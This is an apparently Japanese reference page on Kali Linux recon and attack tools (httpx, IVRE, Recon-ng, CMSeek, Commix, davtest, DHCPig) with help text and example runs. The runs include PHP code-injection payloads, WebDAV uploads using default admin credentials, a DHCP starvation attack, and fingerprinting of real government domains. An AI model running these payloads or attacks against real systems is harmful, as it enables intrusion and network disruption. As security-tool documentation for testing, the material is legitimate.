TXT     : "apple-domain-verification=sEij6tJOW11fVNrG"
TXT     : "v=spf1 ip4:199.16.156.128/26 ip4:199.59.150.64/26 include:_spf.google.com include:_spf.salesforce.com include:_oerp.x.com -all"
DMARC   : "v=DMARC1; p=reject; rua=mailto:caf935f12c8645b2921b0749d1fcd49e@dmarc-reports.cloudflare.net"

httpx

複数のスキャンを実行できる多目的のHTTPツールキットです。

■ 使用方法

root@kali:~# httpx --help

Usage:
  httpx [flags]

Flags:
INPUT:
   -l, -list string      input file containing list of hosts to process
   -rr, -request string  file containing raw request
   -u, -target string[]  input target host(s) to probe

PROBES:
   -sc, -status-code      display response status-code
   -cl, -content-length   display response content-length
   -ct, -content-type     display response content-type
   -location              display response redirect location
   -favicon               display mmh3 hash for '/favicon.ico' file
   -hash string           display response body hash (supported: md5,mmh3,simhash,sha1,sha256,sha512)
   -jarm                  display jarm fingerprint hash
   -rt, -response-time    display response time
   -lc, -line-count       display response body line count
   -wc, -word-count       display response body word count
   -title                 display page title
   -bp, -body-preview     display first N characters of response body (default 100)
   -server, -web-server   display server name
   -td, -tech-detect      display technology in use based on wappalyzer dataset
   -method                display http request method
   -websocket             display server using websocket
   -ip                    display host ip
   -cname                 display host cname
   -extract-fqdn, -efqdn  get domain and subdomains from response body and header in jsonl/csv output
   -asn                   display host asn information
   -cdn                   display cdn/waf in use (default true)
   -probe                 display probe status

HEADLESS:
   -ss, -screenshot                 enable saving screenshot of the page using headless browser
   -system-chrome                   enable using local installed chrome for screenshot
   -ho, -headless-options string[]  start headless chrome with additional options
   -esb, -exclude-screenshot-bytes  enable excluding screenshot bytes from json output
   -ehb, -exclude-headless-body     enable excluding headless header from json output
   -st, -screenshot-timeout int     set timeout for screenshot in seconds (default 10)

MATCHERS:
   -mc, -match-code string            match response with specified status code (-mc 200,302)
   -ml, -match-length string          match response with specified content length (-ml 100,102)
   -mlc, -match-line-count string     match response body with specified line count (-mlc 423,532)
   -mwc, -match-word-count string     match response body with specified word count (-mwc 43,55)
   -mfc, -match-favicon string[]      match response with specified favicon hash (-mfc 1494302000)
   -ms, -match-string string[]        match response with specified string (-ms admin)
   -mr, -match-regex string[]         match response with specified regex (-mr admin)
   -mcdn, -match-cdn string[]         match host with specified cdn provider (cloudfront, fastly, google)
   -mrt, -match-response-time string  match response with specified response time in seconds (-mrt '< 1')
   -mdc, -match-condition string      match response with dsl expression condition

EXTRACTOR:
   -er, -extract-regex string[]   display response content with matched regex
   -ep, -extract-preset string[]  display response content matched by a pre-defined regex (mail,url,ipv4)

FILTERS:
   -fc, -filter-code string            filter response with specified status code (-fc 403,401)
   -fep, -filter-error-page            filter response with ML based error page detection
   -fl, -filter-length string          filter response with specified content length (-fl 23,33)
   -flc, -filter-line-count string     filter response body with specified line count (-flc 423,532)
   -fwc, -filter-word-count string     filter response body with specified word count (-fwc 423,532)
   -ffc, -filter-favicon string[]      filter response with specified favicon hash (-ffc 1494302000)
   -fs, -filter-string string[]        filter response with specified string (-fs admin)
   -fe, -filter-regex string[]         filter response with specified regex (-fe admin)
   -fcdn, -filter-cdn string[]         filter host with specified cdn provider (cloudfront, fastly, google)
   -frt, -filter-response-time string  filter response with specified response time in seconds (-frt '> 1')
   -fdc, -filter-condition string      filter response with dsl expression condition
   -strip                              strips all tags in response. supported formats: html,xml (default html)

RATE-LIMIT:
   -t, -threads int              number of threads to use (default 50)
   -rl, -rate-limit int          maximum requests to send per second (default 150)
   -rlm, -rate-limit-minute int  maximum number of requests to send per minute

MISCELLANEOUS:
   -pa, -probe-all-ips        probe all the ips associated with same host
   -p, -ports string[]        ports to probe (nmap syntax: eg http:1,2-10,11,https:80)
   -path string               path or list of paths to probe (comma-separated, file)
   -tls-probe                 send http probes on the extracted TLS domains (dns_name)
   -csp-probe                 send http probes on the extracted CSP domains
   -tls-grab                  perform TLS(SSL) data grabbing
   -pipeline                  probe and display server supporting HTTP1.1 pipeline
   -http2                     probe and display server supporting HTTP2
   -vhost                     probe and display server supporting VHOST
   -ldv, -list-dsl-variables  list json output field keys name that support dsl matcher/filter

UPDATE:
   -up, -update                 update httpx to latest version
   -duc, -disable-update-check  disable automatic httpx update check

OUTPUT:
   -o, -output string                     file to write output results
   -oa, -output-all                       filename to write output results in all formats
   -sr, -store-response                   store http response to output directory
   -srd, -store-response-dir string       store http response to custom directory
   -ob, -omit-body                        omit response body in output
   -csv                                   store output in csv format
   -csvo, -csv-output-encoding string     define output encoding
   -j, -json                              store output in JSONL(ines) format
   -irh, -include-response-header         include http response (headers) in JSON output (-json only)
   -irr, -include-response                include http request/response (headers + body) in JSON output (-json only)
   -irrb, -include-response-base64        include base64 encoded http request/response in JSON output (-json only)
   -include-chain                         include redirect http chain in JSON output (-json only)
   -store-chain                           include http redirect chain in responses (-sr only)
   -svrc, -store-vision-recon-cluster     include visual recon clusters (-ss and -sr only)
   -pr, -protocol string                  protocol to use (unknown, http11)
   -fepp, -filter-error-page-path string  path to store filtered error pages (default "filtered_error_page.json")

CONFIGURATIONS:
   -config string                   path to the httpx configuration file (default $HOME/.config/httpx/config.yaml)
   -r, -resolvers string[]          list of custom resolver (file or comma separated)
   -allow string[]                  allowed list of IP/CIDR\'s to process (file or comma separated)
   -deny string[]                   denied list of IP/CIDR\'s to process (file or comma separated)
   -sni, -sni-name string           custom TLS SNI name
   -random-agent                    enable Random User-Agent to use (default true)
   -H, -header string[]             custom http headers to send with request
   -http-proxy, -proxy string       http proxy to use (eg http://127.0.0.1:8080)
   -unsafe                          send raw requests skipping golang normalization
   -resume                          resume scan using resume.cfg
   -fr, -follow-redirects           follow http redirects
   -maxr, -max-redirects int        max number of redirects to follow per host (default 10)
   -fhr, -follow-host-redirects     follow redirects on the same host
   -rhsts, -respect-hsts            respect HSTS response headers for redirect requests
   -vhost-input                     get a list of vhosts as input
   -x string                        request methods to probe, use 'all' to probe all HTTP methods
   -body string                     post body to include in http request
   -s, -stream                      stream mode - start elaborating input targets without sorting
   -sd, -skip-dedupe                disable dedupe input items (only used with stream mode)
   -ldp, -leave-default-ports       leave default http/https ports in host header (eg. http://host:80 - https://host:443
   -ztls                            use ztls library with autofallback to standard one for tls13
   -no-decode                       avoid decoding body
   -tlsi, -tls-impersonate          enable experimental client hello (ja3) tls randomization
   -no-stdin                        Disable Stdin processing
   -hae, -http-api-endpoint string  experimental http api endpoint

DEBUG:
   -health-check, -hc        run diagnostic check up
   -debug                    display request/response content in cli
   -debug-req                display request content in cli
   -debug-resp               display response content in cli
   -version                  display httpx version
   -stats                    display scan statistic
   -profile-mem string       optional httpx memory profile dump file
   -silent                   silent mode
   -v, -verbose              verbose mode
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default: 5)
   -nc, -no-color            disable colors in cli output

OPTIMIZATIONS:
   -nf, -no-fallback                  display both probed protocol (HTTPS and HTTP)
   -nfs, -no-fallback-scheme          probe with protocol scheme specified in input
   -maxhr, -max-host-error int        max error count per host before skipping remaining path/s (default 30)
   -e, -exclude string[]              exclude host matching specified filter ('cdn', 'private-ips', cidr, ip, regex)
   -retries int                       number of retries
   -timeout int                       timeout in seconds (default 10)
   -delay value                       duration between each http request (eg: 200ms, 1s) (default -1ns)
   -rsts, -response-size-to-save int  max response size to save in bytes (default 2147483647)
   -rstr, -response-size-to-read int  max response size to read in bytes (default 2147483647)

CLOUD:
   -auth                           configure projectdiscovery cloud (pdcp) api key (default true)
   -pd, -dashboard                 upload / view output in projectdiscovery cloud (pdcp) UI dashboard
   -aid, -asset-id string          upload new assets to existing asset id (optional)
   -aname, -asset-name string      assets group name to set (optional)
   -pdu, -dashboard-upload string  upload httpx output file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard

■ 使用例

# wappalyzerのデータセットを用いて使用している技術スタックを解析する
root@kali:~# httpx -u qiita.com -tech-detect
https://qiita.com [Amazon CloudFront,Amazon Web Services,DoubleClick for Publishers (DFP),Google Publisher Tag,HSTS,Nginx,Ruby,Ruby on Rails]

# ドメインリストの中から技術スタックにPHPが含まれるサイトを抽出する
root@kali:~# cat gov-domains.txt | httpx -silent -json | jq -c 'select(.tech[] | contains("PHP")) | {url: .url, tech: .tech}' | anew
{"url":"https://carbon-markets.go.jp","tech":["Apache HTTP Server:2.4.6","Bootstrap","CentOS","OpenSSL:1.0.2k","PHP:7.2.34"]}
{"url":"https://cals-ed.go.jp","tech":["Apache HTTP Server","MySQL","PHP","WordPress"]}
{"url":"https://cio.go.jp","tech":["Amazon CloudFront","Amazon S3","Amazon Web Services","Bootstrap:3.2.0","Cloudflare","Drupal","FlexSlider","Google Hosted Libraries","Material Design Lite","Modernizr","PHP","cdnjs","jQuery"]}
{"url":"https://chizai-kinyu.go.jp","tech":["Google Analytics","Google Tag Manager","MySQL","Nginx","PHP","WordPress","jQuery"]}
{"url":"https://amami.go.jp","tech":["Apache HTTP Server","MySQL","PHP:8.1.29","WordPress"]}
[...]

# ドメインリストの中からページが存在するサイトのスクリーンショットを取得する
root@kali:~# cat domains.txt | httpx -silent -mc 200,301,302 -ss
https://google.co.jp
https://yahoo.co.jp

IVRE

ネットワーク偵察フレームワークです。パッシブDNSサービスを実行したり、独自のEASMツールを構築したり、ネットワーク・インテリジェンスを収集・分析したりすることができます。

■ 使用方法

root@kali:~# ivre help

usage: ivre [COMMAND]

available commands:
  airodump2db
  arp2db
  auditdom
  db2view
  flow2db
  flowcli
  getmoduli
  getwebdata
  httpd
  ipcalc
  ipdata
  iphost
  ipinfo
  localscan
  macdata
  macinfo
  p0f2db
  passiverecon2db
  passivereconworker
  plotdb
  runscans
  runscansagent
  runscansagentdb
  scan2db
  scancli
  scanstatus
  sort
  version
  view
  weblog2db
  zeek2db

Try ivre help [COMMAND]

■ 使用例

# ターゲットに対してサービスのスキャンを実行
root@kali:~# ivre runscans --categories TEST_SCAN --range 192.168.11.4 192.168.11.4 --output XMLFork
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-19 03:23 UTC
[...]
Discovered open port 21/tcp on 192.168.11.4
Discovered open port 25/tcp on 192.168.11.4
Discovered open port 5900/tcp on 192.168.11.4
Discovered open port 445/tcp on 192.168.11.4
Discovered open port 139/tcp on 192.168.11.4
Discovered open port 22/tcp on 192.168.11.4
Discovered open port 80/tcp on 192.168.11.4
Discovered open port 3306/tcp on 192.168.11.4
Discovered open port 23/tcp on 192.168.11.4
Discovered open port 111/tcp on 192.168.11.4
Discovered open port 8009/tcp on 192.168.11.4
Discovered open port 513/tcp on 192.168.11.4
Discovered open port 1099/tcp on 192.168.11.4
Discovered open port 2121/tcp on 192.168.11.4
Discovered open port 5432/tcp on 192.168.11.4
Discovered open port 8180/tcp on 192.168.11.4
Discovered open port 6667/tcp on 192.168.11.4
Discovered open port 514/tcp on 192.168.11.4
Discovered open port 512/tcp on 192.168.11.4
Discovered open port 1524/tcp on 192.168.11.4
Discovered open port 6000/tcp on 192.168.11.4
Completed SYN Stealth Scan at 03:23, 0.08s elapsed (1000 total ports)
Initiating Service scan at 03:23
Scanning 21 services on server4test.mynet (192.168.11.4)
[...]

# スキャン結果をDBに取り込み
root@kali:~# ivre scan2db --categories TEST_SCAN-001 --source MySource --recursive scans/TEST_SCAN/up/
# DBに取り込んだnmapのスキャン結果をもとにビューを作成
root@kali:~# ivre db2view nmap
# 組み込みのWebサーバーを起動
root@kali:~# ivre httpd

ブラウザからスキャン結果を確認

Recon-ng

偵察を行うための多彩な機能を提供する偵察フレームワークです。

■ 使用方法

root@kali:~# recon-ng --help

usage: recon-ng [-h] [-w workspace] [-r filename] [--no-version] [--no-analytics] [--no-marketplace] [--stealth] [--accessible] [--version]

recon-ng - Tim Tomes (@lanmaster53)

options:
  -h, --help        show this help message and exit
  -w workspace      load/create a workspace
  -r filename       load commands from a resource file
  --no-version      disable version check. Already disabled by default in Debian
  --no-analytics    disable analytics reporting. Already disabled by default in Debian
  --no-marketplace  disable remote module management
  --stealth         disable all passive requests (--no-*)
  --accessible      Use accessible outputs when available
  --version         displays the current version

■ 使用例

root@kali:~# recon-ng
[...]

[*] No modules enabled/installed.

# インストール可能なモジュールの一覧を表示
[recon-ng][default] > marketplace info all

  +------------------------------------------------------------------------------------+
  | path          | discovery/info_disclosure/cache_snoop                              |
  | name          | DNS Cache Snooper                                                  |
  | author        | thrapt (thrapt@gmail.com)                                          |
  | version       | 1.1                                                                |
  | last_updated  | 2020-10-13                                                         |
  | description   | Uses the DNS cache snooping technique to check for visited domains |
  | required_keys | []                                                                 |
  | dependencies  | []                                                                 |
  | files         | ['av_domains.lst']                                                 |
  | status        | not installed                                                      |
  +------------------------------------------------------------------------------------+
[...]

# モジュールをインストール
[recon-ng][default] > marketplace install recon/domains-hosts/google_site_web
[*] Module installed: recon/domains-hosts/google_site_web
[*] Reloading modules...
# インストールしたモジュールを読み込み
[recon-ng][default] > modules load recon/domains-hosts/google_site_web
# モジュールのオプションを表示
[recon-ng][default][google_site_web] > options
Manages the current context options

Usage: options <list|set|unset> [...]

[recon-ng][default][google_site_web] > options list

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'info' for details)
# オプションをセット
[recon-ng][default][google_site_web] > options set SOURCE qiita.com
SOURCE => qiita.com
# モジュールを実行
[recon-ng][default][google_site_web] > run
---------
QIITA.COM
---------
[*] Searching Google for: site:qiita.com
[*] Country: None
[*] Host: zine.qiita.com
[*] Ip_Address: None
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[*] Country: None
[*] Host: corp.qiita.com
[*] Ip_Address: None
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] --------------------------------------------------
[...]
-------
SUMMARY
-------
[*] 7 total (7 new) hosts found.
# 実行結果を照会
[recon-ng][default][google_site_web] > db query select * from hosts where module = 'google_site_web'

  +----------------------------------------------------------------------------------------------------+
  |        host       | ip_address | region | country | latitude | longitude | notes |      module     |
  +----------------------------------------------------------------------------------------------------+
  | zine.qiita.com    |            |        |         |          |           |       | google_site_web |
  | corp.qiita.com    |            |        |         |          |           |       | google_site_web |
  | blog.qiita.com    |            |        |         |          |           |       | google_site_web |
  | teams.qiita.com   |            |        |         |          |           |       | google_site_web |
  | help.qiita.com    |            |        |         |          |           |       | google_site_web |
  | dalab.qiita.com   |            |        |         |          |           |       | google_site_web |
  | grooves.qiita.com |            |        |         |          |           |       | google_site_web |
  +----------------------------------------------------------------------------------------------------+

[*] 7 rows returned

Exploitation and Vulnerability Analysis Tools

Vulnerability Scanning and Exploit

CMSeek

サイトが使用しているCMSの種類を特定します。

■ 使用方法

root@kali:~# cmseek --help

USAGE:
       python3 cmseek.py (for guided scanning) OR
       python3 cmseek.py [OPTIONS] <Target Specification>

SPECIFING TARGET:
      -u URL, --url URL            Target Url
      -l LIST, --list LIST         Path of the file containing list of sites
                                   for multi-site scan (comma separated)

MANIPULATING SCAN:
      -i cms, --ignore--cms cms    Specify which CMS IDs to skip in order to
                                   avoid flase positive. separated by comma ","

      --strict-cms cms             Checks target against a list of provided
                                   CMS IDs. separated by comma ","

      --skip-scanned               Skips target if it\'s CMS was previously detected.

      --light-scan                 Skips Deep Scan. Does CMS and version detection only.

      -o, --only-cms               Only detect CMS, ignore deep scan and version detection.

RE-DIRECT:
      --follow-redirect            Follows all/any redirect(s)
      --no-redirect                Skips all redirects and tests the input target(s)

USER AGENT:
      -r, --random-agent           Use a random user agent
      --googlebot                  Use Google bot user agent
      --user-agent USER_AGENT      Specify a custom user agent

OUTPUT:
      -v, --verbose                Increase output verbosity

VERSION:
      --version                    Show CMSeeK version and exit

HELP & MISCELLANEOUS:
      -h, --help                   Show this help message and exit
      --clear-result               Delete all the scan result
      --batch                      Never ask you to press enter after every site in a list is scanned

■ 使用例

root@kali:~# cmseek -u http://192.168.11.4/
 ┏━Target: 192.168.11.4
 ┃
 ┠── CMS: EC-CUBE
 ┃    │
 ┃    ╰── URL: https://www.ec-cube.net/
 ┃
 ┠── Result: /usr/share/cmseek/Result/192.168.11.4/cms.json
 ┃
 ┗━Scan Completed in 2.57 Seconds, using 1 Requests

Commix

Webアプリケーションに対してOSコマンドインジェクションの様々なペイロードを実行します。

■ 使用方法

root@kali:~# commix --help

Usage: commix [option(s)]

Options:
  -h, --help            Show help and exit.

  General:
    These options relate to general matters.

    -v VERBOSE          Verbosity level (0-4, Default: 0).
    --version           Show version number and exit.
    --output-dir=OUT..  Set custom output directory path.
    -s SESSION_FILE     Load session from a stored (.sqlite) file.
    --flush-session     Flush session files for current target.
    --ignore-session    Ignore results stored in session file.
    -t TRAFFIC_FILE     Log all HTTP traffic into a textual file.
    --batch             Never ask for user input, use the default behaviour.
    --skip-heuristics   Skip heuristic detection for code injection.
    --codec=CODEC       Force codec for character encoding (e.g. 'ascii').
    --charset=CHARSET   Time-related injection charset (e.g.
                        "0123456789abcdef")
    --check-internet    Check internet connection before assessing the target.
    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")

  Target:
    This options has to be provided, to define the target URL.

    -u URL, --url=URL   Target URL.
    --url-reload        Reload target URL after command execution.
    -l LOGFILE          Parse target from HTTP proxy log file.
    -m BULKFILE         Scan multiple targets given in a textual file.
    -r REQUESTFILE      Load HTTP request from a file.
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
                        (Default: 1).
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout").
    -x SITEMAP_URL      Parse target(s) from remote sitemap(.xml) file.
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)

  Request:
    These options can be used to specify how to connect to the target URL.

    -d DATA, --data=..  Data string to be sent through POST.
    --host=HOST         HTTP Host header.
    --referer=REFERER   HTTP Referer header.
    --user-agent=AGENT  HTTP User-Agent header.
    --random-agent      Use a randomly selected HTTP User-Agent header.
    --param-del=PDEL    Set character for splitting parameter values.
    --cookie=COOKIE     HTTP Cookie header.
    --cookie-del=CDEL   Set character for splitting cookie values.
    -H HEADER, --hea..  Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').
    --headers=HEADERS   Extra headers (e.g. 'Accept-Language: fr\nETag: 123').
    --proxy=PROXY       Use a proxy to connect to the target URL.
    --tor               Use the Tor network.
    --tor-port=TOR_P..  Set Tor proxy port (Default: 8118).
    --tor-check         Check to see if Tor is used properly.
    --auth-url=AUTH_..  Login panel URL.
    --auth-data=AUTH..  Login parameters and data.
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, Bearer).
    --auth-cred=AUTH..  HTTP authentication credentials (e.g. 'admin:admin').
    --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401).
    --force-ssl         Force usage of SSL/HTTPS.
    --ignore-proxy      Ignore system default proxy settings.
    --ignore-redirects  Ignore redirection attempts.
    --timeout=TIMEOUT   Seconds to wait before timeout connection (Default:
                        30).
    --retries=RETRIES   Retries when the connection timeouts (Default: 3).
    --drop-set-cookie   Ignore Set-Cookie header from response.

  Enumeration:
    These options can be used to enumerate the target host.

    --all               Retrieve everything.
    --current-user      Retrieve current user name.
    --hostname          Retrieve current hostname.
    --is-root           Check if the current user have root privileges.
    --is-admin          Check if the current user have admin privileges.
    --sys-info          Retrieve system information.
    --users             Retrieve system users.
    --passwords         Retrieve system users password hashes.
    --privileges        Retrieve system users privileges.
    --ps-version        Retrieve PowerShell\'s version number.

  File access:
    These options can be used to access files on the target host.

    --file-read=FILE..  Read a file from the target host.
    --file-write=FIL..  Write to a file on the target host.
    --file-upload=FI..  Upload a file on the target host.
    --file-dest=FILE..  Host\'s absolute filepath to write and/or upload to.

  Modules:
    These options can be used increase the detection and/or injection
    capabilities.

    --shellshock        The 'shellshock' injection module.

  Injection:
    These options can be used to specify which parameters to inject and to
    provide custom injection payloads.

    -p TEST_PARAMETER   Testable parameter(s).
    --skip=SKIP_PARA..  Skip testing for given parameter(s).
    --suffix=SUFFIX     Injection payload suffix string.
    --prefix=PREFIX     Injection payload prefix string.
    --technique=TECH    Specify injection technique(s) to use.
    --skip-technique..  Specify injection technique(s) to skip.
    --maxlen=MAXLEN     Set the max length of output for time-related
                        injection techniques (Default: 10000 chars).
    --delay=DELAY       Seconds to delay between each HTTP request.
    --time-sec=TIMESEC  Seconds to delay the OS response (Default: 1).
    --tmp-path=TMP_P..  Set the absolute path of web server\'s temp directory.
    --web-root=WEB_R..  Set the web server document root directory (e.g.
                        '/var/www').
    --alter-shell=AL..  Use an alternative os-shell (e.g. 'Python').
    --os-cmd=OS_CMD     Execute a single operating system command.
    --os=OS             Force back-end operating system (e.g. 'Windows' or
                        'Unix').
    --tamper=TAMPER     Use given script(s) for tampering injection data.
    --msf-path=MSF_P..  Set a local path where metasploit is installed.

  Detection:
    These options can be used to customize the detection phase.

    --level=LEVEL       Level of tests to perform (1-3, Default: 1).
    --skip-calc         Skip the mathematic calculation during the detection
                        phase.
    --skip-empty        Skip testing the parameter(s) with empty value(s).
    --failed-tries=F..  Set a number of failed injection tries, in file-based
                        technique.
    --smart             Perform thorough tests only if positive heuristic(s).

  Miscellaneous:
    --ignore-depende..  Ignore all required third-party library dependencies.
    --list-tampers      Display list of available tamper scripts.
    --alert=ALERT       Run host OS command(s) when injection point is found.
    --no-logging        Disable logging to a file.
    --purge             Safely remove all content from commix data directory.
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection.
    --mobile            Imitate smartphone through HTTP User-Agent header.
    --offline           Work in offline mode.
    --wizard            Simple wizard interface for beginner users.
    --disable-coloring  Disable console output coloring.

■ 使用例

# 動作確認用アプリのcommix-testbedの以下のプログラムでOSインジェクションを試行
# https://github.com/commixproject/commix-testbed/blob/master/scenarios/regular/GET/preg_replace.php
root@kali:~# commix --url "http://localhost/scenarios/regular/GET/str_replace.php?user=test" --method "GET" --level 1 -v 1
[...]
[02:28:31] [payload] test%29%27%7Dexec%28phpinfo%28%29%29%27%23
[02:28:31] [payload] test%29%27%7Deval%28phpinfo%28%29%29%27%23
[02:28:31] [payload] test%29%27%7Dsystem%28phpinfo%28%29%29%27%23
[02:28:31] [payload] test%27.phpinfo%28%29.%27
[02:28:31] [payload] test%27.exec%28phpinfo%28%29%29.%27
[02:28:31] [payload] test%27.eval%28phpinfo%28%29%29.%27
[02:28:31] [payload] test%27.system%28phpinfo%28%29%29.%27
[02:28:31] [payload] test%7B%24%7Bphpinfo%28%29%7D%7D
[02:28:31] [info] Heuristic (basic) tests shows that GET parameter 'user' might be injectable via (results-based) dynamic code evaluation technique (possible PHP version: '5.5.9').
[...]

実際にpayloadのtest%7B%24%7Bphpinfo%28%29%7D%7Dを試した結果

davtest

WebDAVが有効なサーバーに対してファイル作成などの不正操作を試行します。

■ 使用方法

root@kali:~# davtest --help

/usr/bin/davtest -url <url> [options]

 -auth+         Authorization (user:password)
 -realm+ Auth Realm
 -cleanup       delete everything uploaded when done
 -directory+    postfix portion of directory to create
 -debug+        DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
 -move          PUT text files then MOVE to executable
 -copy          PUT text files then COPY to executable
 -nocreate      don\'t create a directory
 -quiet         only print out summary
 -rand+         use this instead of a random string for filenames
 -sendbd+       send backdoors:
                        auto - for any succeeded test
                        ext - extension matching file name(s) in backdoors/ dir
 -uploadfile+   upload this file (requires -uploadloc)
 -uploadloc+    upload file to this relative location/name (requires -uploadfile)
 -url+          url of DAV location

Example: /usr/bin/davtest -url http://localhost/davdir

■ 使用例

root@kali:~# davtest -url http://192.168.11.4/uploads/ -auth admin:admin
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://192.168.11.4/uploads
********************************************************
NOTE    Random string for this session: vz1C_iC2AlPID
********************************************************
 Creating directory
MKCOL           SUCCEED:                Created http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID
********************************************************
 Sending test files
PUT     asp     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.asp
PUT     html    SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.html
PUT     jhtml   SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.jhtml
PUT     txt     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.txt
PUT     aspx    SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.aspx
PUT     pl      SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.pl
PUT     php     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.php
PUT     jsp     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.jsp
PUT     shtml   SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.shtml
PUT     cgi     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.cgi
PUT     cfm     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.cfm
********************************************************
 Checking for test file execution
EXEC    asp     FAIL
EXEC    html    SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.html
EXEC    html    FAIL
EXEC    jhtml   FAIL
EXEC    txt     SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.txt
EXEC    txt     FAIL
EXEC    aspx    FAIL
EXEC    pl      FAIL
EXEC    php     FAIL
EXEC    jsp     FAIL
EXEC    shtml   SUCCEED:        http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.shtml
EXEC    shtml   FAIL
EXEC    cgi     FAIL
EXEC    cfm     FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.asp
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.html
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.jhtml
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.txt
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.aspx
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.pl
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.php
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.jsp
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.shtml
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.cgi
PUT File: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.cfm
Executes: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.html
Executes: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.txt
Executes: http://192.168.11.4/uploads/DavTestDir_vz1C_iC2AlPID/davtest_vz1C_iC2AlPID.shtml

DHCPig

DHCPサーバーに対してMACアドレスを偽装しながらIPアドレスの払い出しを要求します（DHCP枯渇攻撃）。

■ 使用方法

root@kali:~# dhcpig --help

Usage:
    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
  
Options:
    -h, --help                     <-- you are here :)
    -v, --verbosity                ...  0 ... no         (3)
                                        1 ... minimal
                                       10 ... default
                                       99 ... debug
                                       
    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
    
    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
    
    -f, --fuzz                     ... randomly fuzz packets (off)

    -t, --threads                  ... number of sending threads (1)
    
    -a, --show-arp                 ... detect/print arp who_has (off)
    -i, --show-icmp                ... detect/print icmps requests (off)
    -o, --show-options             ... print lease infos (off)
    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
    
    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
    -r, --neighbors-attack-release ... release all neighbor ips (off)
    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
    
    -x, --timeout-threads          ... thread spawn timer (0.4)
    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
    
    -c, --color                    ... enable color output (off)

■ 使用例

root@kali:~# dhcpig eth0
[ -- ] [INFO] - using interface eth0
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[--->] DHCP_Discover
[<---] DHCP_Offer   02:42:ac:13:00:02   0.0.0.0 IP: 192.168.50.2 for MAC=[de:ad:09:6c:90:b2:00:00:00:00:00:00:00:00:00:00]
[--->] DHCP_Request 192.168.50.2
